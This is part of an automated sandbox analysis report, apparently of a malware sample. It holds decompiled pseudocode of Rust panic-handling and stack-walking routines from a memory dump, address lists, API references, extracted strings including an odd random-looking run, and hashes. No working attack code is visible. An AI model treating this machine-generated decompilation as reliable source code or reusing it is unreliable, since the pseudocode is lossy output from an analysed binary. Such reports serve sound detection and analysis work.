										 *0x6e7fadec = _t246;
										goto L41;
									}
								}
							}
						} else {
							__eflags =  *((char*)(_t310 + 0xf));
							if( *((char*)(_t310 + 0xf)) != 0) {
								goto L50;
							} else {
								L48:
								__eflags =  *(_t310 + 0xe);
								if( *(_t310 + 0xe) != 0) {
									L55:
									_t229 =  *(_t310 + 0x5c);
									__eflags = _t229;
									if(_t229 != 0) {
										__eflags =  *(_t310 + 0x60);
										if( *(_t310 + 0x60) != 0) {
											HeapFree( *0x6e7fadc8, 0, _t229);
										}
									}
									_t206 = 0;
								} else {
									 *(_t310 + 0x190) = 0x6e7ed63c;
									 *(_t310 + 0x194) = 1;
									 *(_t310 + 0x198) = 0;
									 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6e7ecd60;
									 *(_t310 + 0x1a4) = 0;
									 *(_t310 + 0x5a8) = 2;
									_push(_t310 + 0x190);
									_t233 = E6E7A2320( *((intOrPtr*)(_a8 + 0x18)),  *(_a8 + 0x1c));
									__eflags = _t233;
									if(_t233 == 0) {
										goto L55;
									} else {
										goto L50;
									}
								}
							}
							L54:
							 *[fs:0x0] =  *((intOrPtr*)(_t310 + 0x5a0));
							return _t206;
						}
					}
				}
				L71:
			}

0x6e7adee3
0x6e7adee4
0x6e7adee5
0x6e7adee9
0x6e7adeef
0x6e7adef1
0x6e7adef7
0x6e7adefd
0x6e7adf07
0x6e7adf21
0x6e7adf27
0x6e7adf2e
0x6e7adf30
0x6e7adf33
0x6e7adf44
0x6e7adf49
0x6e7adf4c
0x6e7adf51
0x6e7adf56
0x6e7adf5d
0x6e7adf60
0x6e7adf67
0x6e7adf6a
0x6e7adf77
0x6e7adf7a
0x6e7adf96
0x6e7adf96
0x6e7adf9c
0x6e7adfa0
0x6e7adfa2
0x6e7adfa4
0x6e7adfae
0x6e7adfb2
0x6e7adfb7
0x6e7adfbd
0x6e7adfbd
0x6e7adfc0
0x6e7adfc3
0x6e7adfc6
0x6e7adfc9
0x6e7adfcc
0x6e7adfcf
0x6e7adf7c
0x6e7adfe0
0x6e7adfe0
0x6e7adfe6
0x6e7adfed
0x6e7adfed
0x6e7adff0
0x6e7adff2
0x6e7adffa
0x6e7ae000
0x6e7ae004
0x6e7ae012
0x6e7adf80
0x6e7adf83
0x6e7adf85
0x6e7ae03d
0x6e7ae040
0x6e7ae04a
0x6e7ae04c
0x6e7ae568
0x00000000
0x6e7ae052
0x6e7ae052
0x6e7ae055
0x6e7ae058
0x6e7ae059
0x6e7ae05e
0x6e7ae064
0x6e7ae069
0x6e7ae06b
0x6e7ae06e
0x6e7ae073
0x6e7ae076
0x6e7ae078
0x00000000
0x00000000
0x6e7ae07a
0x00000000
0x6e7ae078
0x6e7adf8b
0x6e7adf8b
0x6e7adf91
0x6e7adf94
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7adf94
0x6e7ae027
0x6e7ae02a
0x6e7ae032
0x6e7ae035
0x00000000
0x6e7ae03b
0x00000000
0x6e7ae03b
0x00000000
0x6e7ae035
0x6e7ae07c
0x6e7ae07c
0x6e7ae082
0x6e7ae084
0x6e7ae087
0x6e7ae08e
0x6e7ae091
0x6e7ae093
0x6e7ae095
0x6e7ae095
0x6e7ae099
0x6e7ae09b
0x6e7ae0a0
0x6e7ae0ad
0x6e7ae0ad
0x6e7ae0a0
0x6e7ae099
0x6e7ae0b2
0x6e7ae0b2
0x6e7ae0b4
0x6e7ae11e
0x6e7ae121
0x6e7ae124
0x6e7ae127
0x6e7ae12a
0x6e7ae0b6
0x6e7ae0b6
0x6e7ae0ba
0x6e7ae0bc
0x6e7ae0c1
0x6e7ae0c7
0x6e7ae0d2
0x6e7ae0d4
0x6e7ae0d7
0x6e7ae0da
0x6e7ae0dd
0x6e7ae0e1
0x6e7ae0e3
0x6e7ae0e5
0x6e7ae0e9
0x6e7ae0eb
0x6e7ae0eb
0x6e7ae0f7
0x6e7ae0fc
0x6e7ae0fc
0x6e7ae108
0x6e7ae108
0x6e7ae10d
0x6e7ae110
0x6e7ae112
0x6e7ae112
0x6e7ae134
0x6e7ae137
0x6e7ae13d
0x6e7ae140
0x6e7ae143
0x6e7ae14d
0x6e7ae157
0x6e7ae161
0x6e7ae16b
0x6e7ae178
0x6e7ae181
0x6e7ae182
0x6e7ae187
0x6e7ae18a
0x6e7ae18c
0x6e7ae405
0x6e7ae405
0x6e7ae408
0x6e7ae40a
0x6e7ae40c
0x6e7ae410
0x6e7ae41b
0x6e7ae41b
0x6e7ae410
0x6e7ae420
0x00000000
0x6e7ae192
0x6e7ae192
0x6e7ae198
0x6e7ae19f
0x6e7ae1a3
0x6e7ae1a6
0x6e7ae1ad
0x6e7ae1af
0x6e7ae1b8
0x6e7ae1be
0x6e7ae1c1
0x6e7ae1c8
0x6e7ae1cc
0x6e7ae1d2
0x6e7ae1d8
0x6e7ae1de
0x6e7ae1e6
0x6e7ae1ef
0x6e7ae1f9
0x6e7ae200
0x6e7ae205
0x6e7ae208
0x6e7ae209
0x6e7ae20e
0x6e7ae213
0x6e7ae215
0x6e7ae226
0x6e7ae22c
0x6e7ae22f
0x6e7ae231
0x6e7ae24a
0x6e7ae250
0x6e7ae252
0x6e7ae595
0x6e7ae5ae
0x00000000
0x6e7ae258
0x6e7ae258
0x6e7ae25a
0x6e7ae25f
0x6e7ae265
0x6e7ae267
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ae267
0x6e7ae233
0x6e7ae233
0x6e7ae239
0x6e7ae23b
0x6e7ae289
0x6e7ae28e
0x6e7ae291
0x6e7ae296
0x6e7ae299
0x6e7ae29c
0x6e7ae29e
0x6e7ae2be
0x6e7ae2be
0x6e7ae2c7
0x6e7ae2ce
0x6e7ae2dd
0x6e7ae2e2
0x6e7ae2f7
0x6e7ae2fe
0x6e7ae301
0x6e7ae30b
0x6e7ae311
0x6e7ae31b
0x6e7ae325
0x6e7ae32b
0x6e7ae335
0x6e7ae340
0x6e7ae35e
0x6e7ae361
0x6e7ae364
0x00000000
0x00000000
0x6e7ae376
0x6e7ae37c
0x6e7ae386
0x6e7ae38b
0x6e7ae38e
0x6e7ae391
0x6e7ae393
0x00000000
0x00000000
0x00000000
0x6e7ae393
0x00000000
0x6e7ae2a0
0x6e7ae2ab
0x6e7ae2b1
0x6e7ae2b3
0x6e7ae464
0x6e7ae469
0x6e7ae47e
0x6e7ae485
0x6e7ae48c
0x6e7ae496
0x6e7ae49d
0x6e7ae4a0
0x6e7ae4aa
0x6e7ae4b0
0x6e7ae4ba
0x6e7ae4c4
0x6e7ae4ca
0x6e7ae4d4
0x6e7ae4e0
0x6e7ae4e0
0x6e7ae4e6
0x6e7ae4e8
0x6e7ae506
0x6e7ae522
0x6e7ae524
0x6e7ae527
0x6e7ae395
0x6e7ae398
0x6e7ae39d
0x6e7ae3a1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ae4ea
0x6e7ae4f5
0x6e7ae4fb
0x6e7ae4fd
0x6e7ae572
0x6e7ae58b
0x00000000
0x6e7ae4ff
0x6e7ae4ff
0x6e7ae501
0x00000000
0x6e7ae501
0x6e7ae4fd
0x00000000
0x6e7ae52d
0x6e7ae53d
0x6e7ae543
0x6e7ae54d
0x6e7ae552
0x6e7ae555
0x6e7ae558
0x6e7ae558
0x00000000
0x6e7ae2b9
0x6e7ae2b9
0x00000000
0x6e7ae2b9
0x6e7ae2b3
0x6e7ae23d
0x6e7ae269
0x6e7ae274
0x6e7ae27a
0x6e7ae27c
0x6e7ae5b8
0x6e7ae5d1
0x6e7ae5d9
0x6e7ae5d9
0x6e7ae5e0
0x6e7ae5fc
0x6e7ae282
0x6e7ae282
0x6e7ae284
0x00000000
0x6e7ae284
0x6e7ae27c
0x6e7ae23b
0x6e7ae217
0x6e7ae217
0x6e7ae21b
0x00000000
0x6e7ae221
0x6e7ae3a3
0x6e7ae3a3
0x6e7ae3a7
0x6e7ae437
0x6e7ae437
0x6e7ae43a
0x6e7ae43c
0x6e7ae43e
0x6e7ae442
0x6e7ae44d
0x6e7ae44d
0x6e7ae442
0x6e7ae452
0x6e7ae3ad
0x6e7ae3b0
0x6e7ae3ba
0x6e7ae3c4
0x6e7ae3ce
0x6e7ae3d8
0x6e7ae3e2
0x6e7ae3f8
0x6e7ae3f9
0x6e7ae401
0x6e7ae403
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ae403
0x6e7ae3a7
0x6e7ae422
0x6e7ae428
0x6e7ae436
0x6e7ae436
0x6e7ae215
0x6e7ae18c
0x00000000

APIs

SetLastError.KERNEL32(00000000), ref: 6E7ADFF2
GetCurrentDirectoryW.KERNEL32(?,?), ref: 6E7ADFFA
GetLastError.KERNEL32 ref: 6E7AE006
GetLastError.KERNEL32 ref: 6E7AE018
GetLastError.KERNEL32 ref: 6E7AE07C
HeapFree.KERNEL32(00000000,00000000), ref: 6E7AE0AD
HeapFree.KERNEL32(00000000,?), ref: 6E7AE0F7
HeapFree.KERNEL32(00000000,?), ref: 6E7AE108
GetCurrentProcess.KERNEL32(?), ref: 6E7AE1E1
GetCurrentThread.KERNEL32 ref: 6E7AE1E9
RtlCaptureContext.KERNEL32(?), ref: 6E7AE209
GetProcAddress.KERNEL32(SymFunctionTableAccess64,?), ref: 6E7AE24A
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6E7AE274
GetCurrentProcess.KERNEL32 ref: 6E7AE289
GetProcAddress.KERNEL32(StackWalkEx), ref: 6E7AE2AB
ReleaseMutex.KERNEL32(?), ref: 6E7AE398
HeapFree.KERNEL32(00000000,?), ref: 6E7AE41B
HeapFree.KERNEL32(00000000,?,?), ref: 6E7AE44D
GetProcAddress.KERNEL32(StackWalk64), ref: 6E7AE4F5

Strings

SymGetModuleBase64, xrefs: 6E7AE269
SymFunctionTableAccess64, xrefs: 6E7AE23F
called `Option::unwrap()` on a `None` value, xrefs: 6E7AE57C, 6E7AE59F, 6E7AE5C2
StackWalkEx, xrefs: 6E7AE2A0
StackWalk64, xrefs: 6E7AE4EA

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AddressCurrentErrorLastProc$Process$CaptureContextDirectoryMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$called `Option::unwrap()` on a `None` value
API String ID: 1381040140-1036201984
Opcode ID: abfc76189d35b9a50df7af2629390820adb37b790881ba90ec50d0bf69be1493
Instruction ID: 8f20499d405eb92ca44477bc031259a3e740e39955c031548244811a4c71e2a4
Opcode Fuzzy Hash: abfc76189d35b9a50df7af2629390820adb37b790881ba90ec50d0bf69be1493
Instruction Fuzzy Hash: C91239B1500B049FE760CFA4DA94B93BBF9FB49708F004A2DD6AA876A0E771B445CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC8C0, Relevance: 33.7, APIs: 14, Strings: 5, Instructions: 477
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6E7AC8C0(long _a4, signed int _a8) {
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t190;
				void* _t194;
				void _t195;
				intOrPtr* _t196;
				signed int _t197;
				signed int _t199;
				char* _t201;
				long _t202;
				long _t203;
				void* _t204;
				void* _t205;
				long _t206;
				void _t209;
				void _t210;
				void* _t219;
				void* _t222;
				long _t226;
				void* _t235;
				void* _t245;
				void* _t247;
				void* _t248;
				char** _t251;
				char** _t252;
				void* _t256;
				void* _t260;
				void _t264;
				char _t265;
				signed char _t267;
				void _t270;
				intOrPtr _t273;
				void* _t275;
				char* _t276;
				void _t277;
				void* _t280;
				intOrPtr _t291;
				intOrPtr _t295;
				void _t298;
				long _t302;
				void* _t307;
				void* _t308;
				void* _t309;
				signed int _t310;
				signed int _t312;
				void* _t318;
				intOrPtr* _t324;
				long _t326;
				void* _t327;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				void* _t335;
				intOrPtr _t336;
				void* _t347;
				void* _t360;
				long _t361;

				_v32 = _t336;
				_v20 = 0xffffffff;
				_v24 = E6E7B3B50;
				_t264 = _t270;
				_t332 = 1;
				_t330 = _t307;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				asm("lock xadd [0x6e7fadc0], esi");
				_t190 = E6E7AD1B0(_t264, _t330);
				_t337 = _t190;
				if(_t190 == 0) {
					_t190 = E6E7C6EE0(_t264,  &M6E7ED0E7, 0x46, _t337,  &_v68, 0x6e7ed060, 0x6e7ed1ac);
					_t336 = _t336 + 0xc;
					asm("ud2");
				}
				_t308 = _a8;
				_t273 =  *_t190 + 1;
				 *_t190 = _t273;
				if(_t332 < 0 || _t273 >= 3) {
					__eflags = _t273 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6e7ecd60;
						_v120 = 0x6e7ed014;
						_v68 = 0x6e7eda50;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t308;
						_t309 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6E7A2640;
						_v52 =  &_v80;
						_v48 = 1;
						_t194 = E6E7AD2A0( &_v100, __eflags);
						__eflags = _t194 - 3;
						if(_t194 == 3) {
							_v20 = 0;
							_v36 = _t309;
							 *((intOrPtr*)( *((intOrPtr*)(_t309 + 4))))( *_t309);
							_t336 = _t336 + 4;
							L11:
							_t332 = _v36;
							_t302 =  *(_t332 + 4);
							__eflags =  *(4 + _t302);
							if( *(4 + _t302) != 0) {
								_t256 =  *_t332;
								__eflags =  *((intOrPtr*)(_t302 + 8)) - 9;
								if( *((intOrPtr*)(_t302 + 8)) >= 9) {
									_t256 =  *(_t256 - 4);
								}
								HeapFree( *0x6e7fadc8, 0, _t256);
							}
							_t194 = HeapFree( *0x6e7fadc8, 0, _t332);
						}
						goto L16;
					}
					_t327 =  &_v68;
					_v68 = 0x6e7eda14;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6e7ecd60;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t194 = E6E7AD2A0( &_v124, __eflags);
					__eflags = _t194 - 3;
					if(_t194 != 3) {
						goto L16;
					} else {
						_v20 = 1;
						_v36 = _t327;
						 *((intOrPtr*)( *((intOrPtr*)(_t327 + 4))))( *_t327);
						_t336 = _t336 + 4;
						goto L11;
					}
				} else {
					_v132 = _t273;
					__imp__AcquireSRWLockShared(0x6e7fadbc);
					_v144 = 0x6e7fadbc;
					_v20 = 2;
					_v136 = _t264;
					_v140 = _t330;
					_t260 =  *((intOrPtr*)(_t330 + 0x10))(_t264);
					_t336 = _t336 + 4;
					_v36 = _t260;
					_v40 = _t308;
					_t194 = E6E7AD1B0(_t264, _t330);
					_t330 = _v40;
					_t340 = _t194;
					if(_t194 != 0) {
						L17:
						__eflags =  *_t194 - 1;
						_t275 = 1;
						if( *_t194 <= 1) {
							_t195 =  *0x6e7fadb0; // 0x0
							_t310 = _a8;
							__eflags = _t195 - 2;
							if(_t195 == 2) {
								_t275 = 0;
								goto L19;
							}
							__eflags = _t195 - 1;
							if(_t195 == 1) {
								_t275 = 4;
								goto L19;
							}
							__eflags = _t195;
							if(_t195 != 0) {
								goto L19;
							}
							E6E7AD530(_t264,  &_v68, _t330, _t332);
							_t330 = _v40;
							_t248 = _v68;
							__eflags = _t248;
							if(_t248 != 0) {
								goto L68;
							}
							_t267 = 5;
							goto L86;
						}
						_t310 = _a8;
						goto L19;
					} else {
						E6E7C6EE0(_t264,  &M6E7ED0E7, 0x46, _t340,  &_v68, 0x6e7ed060, 0x6e7ed1ac);
						_t336 = _t336 + 0xc;
						L61:
						asm("ud2");
						L62:
						_t276 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t201 = 0xc;
						L21:
						_v100 = _t276;
						_v96 = _t201;
						_t202 =  *0x6e7fa044; // 0x0
						if(_t202 == 0) {
							_t280 = 0x6e7fa044;
							_t202 = E6E7B2B10(_t264, 0x6e7fa044, _t330, _t332);
						}
						_t194 = TlsGetValue(_t202);
						if(_t194 <= 1) {
							L42:
							_t203 =  *0x6e7fa044; // 0x0
							__eflags = _t203;
							if(_t203 == 0) {
								_t280 = 0x6e7fa044;
								_t203 = E6E7B2B10(_t264, 0x6e7fa044, _t330, _t332);
							}
							_t194 = TlsGetValue(_t203);
							__eflags = _t194;
							if(_t194 == 0) {
								_t204 =  *0x6e7fadc8; // 0x11e0000
								__eflags = _t204;
								if(_t204 != 0) {
									L66:
									_t205 = HeapAlloc(_t204, 0, 0x10);
									__eflags = _t205;
									if(__eflags != 0) {
										 *_t205 = 0;
										 *(_t205 + 0xc) = 0x6e7fa044;
										_t332 = _t205;
										_t206 =  *0x6e7fa044; // 0x0
										__eflags = _t206;
										if(_t206 == 0) {
											_v36 = _t332;
											_t206 = E6E7B2B10(_t264, 0x6e7fa044, _t330, _t332);
											_t332 = _v36;
										}
										_t194 = TlsSetValue(_t206, _t332);
										goto L75;
									}
									L67:
									_t248 = E6E7C6C30(_t264, 0x10, 4, _t330, _t332, __eflags);
									asm("ud2");
									L68:
									_t326 = _v60;
									_t298 = _v64;
									__eflags = _t326 - 4;
									if(_t326 == 4) {
										__eflags =  *_t248 - 0x6c6c7566;
										if( *_t248 != 0x6c6c7566) {
											L83:
											_t332 = 2;
											_t267 = 0;
											__eflags = 0;
											L84:
											__eflags = _t298;
											if(_t298 != 0) {
												HeapFree( *0x6e7fadc8, 0, _t248);
											}
											L86:
											__eflags = _t267 - 5;
											_t310 = _a8;
											_t269 =  !=  ? _t332 : 1;
											_t275 =  !=  ? _t267 & 0x000000ff : 4;
											_t142 =  !=  ? _t332 : 1;
											_t264 =  *0x6e7fadb0;
											 *0x6e7fadb0 =  !=  ? _t332 : 1;
											L19:
											_v148 = _t310;
											_v128 = _t275;
											_t59 = _t330 + 0xc; // 0x6e7b3440
											_t196 =  *_t59;
											_v40 = _t196;
											_t197 =  *_t196(_v36);
											_t336 = _t336 + 4;
											_t312 = _t310 ^ 0x7ef2a91e | _t197 ^ 0xecc7bcf4;
											__eflags = _t312;
											if(__eflags != 0) {
												_t199 = _v40(_v36);
												_t336 = _t336 + 4;
												__eflags = _t312 ^ 0xe43a67d8 | _t199 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L62;
												}
												_t251 = _v36;
												_t276 =  *_t251;
												_t201 = _t251[2];
												goto L21;
											}
											_t252 = _v36;
											_t276 =  *_t252;
											_t201 = _t252[1];
											goto L21;
										}
										_t267 = 1;
										_t332 = 3;
										goto L84;
									}
									__eflags = _t326 - 1;
									if(_t326 != 1) {
										goto L83;
									}
									__eflags =  *_t248 - 0x30;
									if( *_t248 != 0x30) {
										goto L83;
									}
									_t267 = 4;
									_t332 = 1;
									goto L84;
								}
								_t204 = GetProcessHeap();
								__eflags = _t204;
								if(__eflags == 0) {
									goto L67;
								}
								 *0x6e7fadc8 = _t204;
								goto L66;
							} else {
								_t332 = _t194;
								__eflags = _t194 - 1;
								if(_t194 != 1) {
									L75:
									_t277 =  *(_t332 + 8);
									__eflags =  *_t332;
									_t136 = _t332 + 4; // 0x4
									_t330 = _t136;
									 *_t332 = 1;
									 *(_t332 + 4) = 0;
									 *(_t332 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t277;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t194 = E6E7AC800(_t277);
											}
										}
									}
									goto L26;
								}
								_v84 = 0;
								_v36 = 0;
								_t210 = 0;
								__eflags = 0;
								goto L47;
							}
						} else {
							_t330 = _t194;
							if( *_t194 != 1) {
								goto L42;
							}
							_t330 = _t330 + 4;
							L26:
							if( *_t330 != 0) {
								E6E7C6EE0(_t264, "already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl", 0x10, __eflags,  &_v68, 0x6e7ed050, 0x6e7ed720);
								_t336 = _t336 + 0xc;
								goto L61;
							}
							 *_t330 = 0xffffffff;
							_t332 =  *(_t330 + 4);
							if(_t332 == 0) {
								_v36 = _t330;
								_v20 = 8;
								_t247 = E6E7AC690(_t264, _t330, _t332);
								_t330 = _v36;
								_t332 = _t247;
								_t194 =  *(_t330 + 4);
								_t347 = _t194;
								if(_t347 != 0) {
									asm("lock dec dword [eax]");
									if(_t347 == 0) {
										_t280 =  *(_t330 + 4);
										_t194 = E6E7AC800(_t280);
									}
								}
								 *(_t330 + 4) = _t332;
							}
							asm("lock inc dword [esi]");
							if(_t347 <= 0) {
								L16:
								asm("ud2");
								asm("ud2");
								goto L17;
							} else {
								 *_t330 =  *_t330 + 1;
								_v84 = _t332;
								_v36 = _t332;
								if(_t332 != 0) {
									_t209 =  *(_t332 + 0x10);
									__eflags = _t209;
									_t280 =  ==  ? _t209 : _t332 + 0x10;
									if(__eflags != 0) {
										L103:
										_t210 =  *_t280;
										_t280 =  *((intOrPtr*)(_t280 + 4)) - 1;
										L104:
										_v20 = 3;
										L47:
										_v124 = 0x6e7ed8fc;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t317 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t212 =  !=  ? _t280 : 9;
										_v80 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t318 =  &_v124;
										_v76 =  !=  ? _t280 : 9;
										_v68 =  &_v80;
										_v64 = 0x6e7ade50;
										_v60 =  &_v100;
										_v56 = 0x6e7ade50;
										_v52 =  &_v148;
										_v48 = E6E7ADE70;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6E7AD2A0( &_v92, _t210) == 3) {
											_v20 = 7;
											_v40 = _t318;
											 *((intOrPtr*)( *((intOrPtr*)(_t318 + 4))))( *_t318);
											_t336 = _t336 + 4;
											_t335 = _v40;
											_t295 =  *((intOrPtr*)(_t335 + 4));
											if( *((intOrPtr*)(_t295 + 4)) != 0) {
												_t245 =  *_t335;
												if( *((intOrPtr*)(_t295 + 8)) >= 9) {
													_t245 =  *(_t245 - 4);
												}
												HeapFree( *0x6e7fadc8, 0, _t245);
											}
											HeapFree( *0x6e7fadc8, 0, _t335);
										}
										_t265 = _v128;
										_t219 =  <  ? (_t265 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t219 == 0) {
											__imp__AcquireSRWLockExclusive(0x6e7fadac);
											_v68 = 0x6e7ed2c0;
											_v64 = 1;
											_v152 = 0x6e7fadac;
											_v41 = _t265;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6E7ADEE0;
											_v52 =  &_v124;
											_v48 = 1;
											_t222 = E6E7AD2A0( &_v92, __eflags);
											_t333 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6e7fadac);
											__eflags = _t222 - 3;
											if(__eflags != 0) {
												goto L94;
											}
											_v20 = 5;
											_v40 = _t333;
											 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
											_t336 = _t336 + 4;
											goto L89;
										} else {
											if(_t219 == 1) {
												L94:
												_t360 = _v36;
												if(_t360 != 0) {
													asm("lock dec dword [eax]");
													if(_t360 == 0) {
														E6E7AC800(_v84);
													}
												}
												_t334 = _v140;
												_t331 = _v136;
												_t361 = _v72;
												if(_t361 != 0) {
													asm("lock dec dword [eax]");
													if(_t361 == 0) {
														E6E7ADC20(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6e7fadbc);
												_t362 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6e7eda8c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6e7ecd60;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t226 = E6E7AD2A0( &_v80, _t362);
													_v120 =  &_v68;
													_v124 = _t226;
													E6E7AD460( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t280 = _t331;
												E6E7AD440(_t280, _t334, _t362);
												asm("ud2");
												goto L103;
											}
											 *0x6e7fa040 = 0;
											_t356 =  *0x6e7fa040;
											if( *0x6e7fa040 == 0) {
												goto L94;
											}
											_t324 =  &_v68;
											_v68 = 0x6e7ed96c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6e7ecd60;
											_v48 = 0;
											_v20 = 3;
											if(E6E7AD2A0( &_v92, _t356) != 3) {
												goto L94;
											}
											_v40 = _t324;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t336 = _t336 + 4;
											L89:
											_t291 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t291 + 4)) != 0) {
												_t235 =  *_v40;
												if( *((intOrPtr*)(_t291 + 8)) >= 9) {
													_t235 =  *(_t235 - 4);
												}
												HeapFree( *0x6e7fadc8, 0, _t235);
											}
											HeapFree( *0x6e7fadc8, 0, _v40);
											goto L94;
										}
									}
									_t210 = 0;
									goto L104;
								}
								_t210 = 0;
								goto L47;
							}
						}
					}
				}
			}

0x6e7ac8cc
0x6e7ac8cf
0x6e7ac8d6
0x6e7ac8dd
0x6e7ac8e2
0x6e7ac8e7
0x6e7ac8f0
0x6e7ac8f3
0x6e7ac8f9
0x6e7ac901
0x6e7ac906
0x6e7ac908
0x6e7ac922
0x6e7ac927
0x6e7ac92a
0x6e7ac92a
0x6e7ac92e
0x6e7ac931
0x6e7ac934
0x6e7ac936
0x6e7ac9aa
0x6e7ac9ad
0x6e7aca0a
0x6e7aca11
0x6e7aca1b
0x6e7aca22
0x6e7aca29
0x6e7aca2d
0x6e7aca34
0x6e7aca3b
0x6e7aca41
0x6e7aca44
0x6e7aca47
0x6e7aca4d
0x6e7aca54
0x6e7aca57
0x6e7aca5e
0x6e7aca63
0x6e7aca65
0x6e7aca6c
0x6e7aca74
0x6e7aca77
0x6e7aca79
0x6e7aca7c
0x6e7aca7c
0x6e7aca7f
0x6e7aca82
0x6e7aca86
0x6e7aca88
0x6e7aca8a
0x6e7aca8e
0x6e7aca90
0x6e7aca90
0x6e7aca9c
0x6e7aca9c
0x6e7acaaa
0x6e7acaaa
0x00000000
0x6e7aca65
0x6e7ac9b2
0x6e7ac9b5
0x6e7ac9bc
0x6e7ac9c3
0x6e7ac9ca
0x6e7ac9d1
0x6e7ac9d5
0x6e7ac9dc
0x6e7ac9e3
0x6e7ac9e8
0x6e7ac9ea
0x00000000
0x6e7ac9f0
0x6e7ac9f5
0x6e7ac9fd
0x6e7aca00
0x6e7aca02
0x00000000
0x6e7aca02
0x6e7ac93d
0x6e7ac93d
0x6e7ac945
0x6e7ac94b
0x6e7ac955
0x6e7ac95c
0x6e7ac963
0x6e7ac969
0x6e7ac96c
0x6e7ac96f
0x6e7ac972
0x6e7ac975
0x6e7ac97a
0x6e7ac97d
0x6e7ac97f
0x6e7acab3
0x6e7acab3
0x6e7acab6
0x6e7acab8
0x6e7acb8b
0x6e7acb90
0x6e7acb93
0x6e7acb96
0x6e7acd97
0x00000000
0x6e7acd97
0x6e7acb9c
0x6e7acb9f
0x6e7acd90
0x00000000
0x6e7acd90
0x6e7acba5
0x6e7acba7
0x00000000
0x00000000
0x6e7acbb0
0x6e7acbb5
0x6e7acbb8
0x6e7acbbb
0x6e7acbbd
0x00000000
0x00000000
0x6e7acbc3
0x00000000
0x6e7acbc3
0x6e7acabe
0x00000000
0x6e7ac985
0x6e7ac99d
0x6e7ac9a2
0x6e7acdbe
0x6e7acdbe
0x6e7acdc0
0x6e7acdc0
0x6e7acdc5
0x6e7acaf3
0x6e7acaf3
0x6e7acaf6
0x6e7acaf9
0x6e7acb00
0x6e7acb02
0x6e7acb07
0x6e7acb07
0x6e7acb0d
0x6e7acb16
0x6e7acbf3
0x6e7acbf3
0x6e7acbf8
0x6e7acbfa
0x6e7acbfc
0x6e7acc01
0x6e7acc01
0x6e7acc07
0x6e7acc0d
0x6e7acc0f
0x6e7acdcf
0x6e7acdd4
0x6e7acdd6
0x6e7acde6
0x6e7acdeb
0x6e7acdf0
0x6e7acdf2
0x6e7ace32
0x6e7ace38
0x6e7ace3f
0x6e7ace41
0x6e7ace46
0x6e7ace48
0x6e7ace4f
0x6e7ace52
0x6e7ace57
0x6e7ace57
0x6e7ace5c
0x00000000
0x6e7ace5c
0x6e7acdf4
0x6e7acdfe
0x6e7ace03
0x6e7ace05
0x6e7ace05
0x6e7ace08
0x6e7ace0b
0x6e7ace0e
0x6e7aceb8
0x6e7acebe
0x6e7acec9
0x6e7acec9
0x6e7acece
0x6e7acece
0x6e7aced0
0x6e7aced0
0x6e7aced2
0x6e7acedd
0x6e7acedd
0x6e7acee2
0x6e7acee2
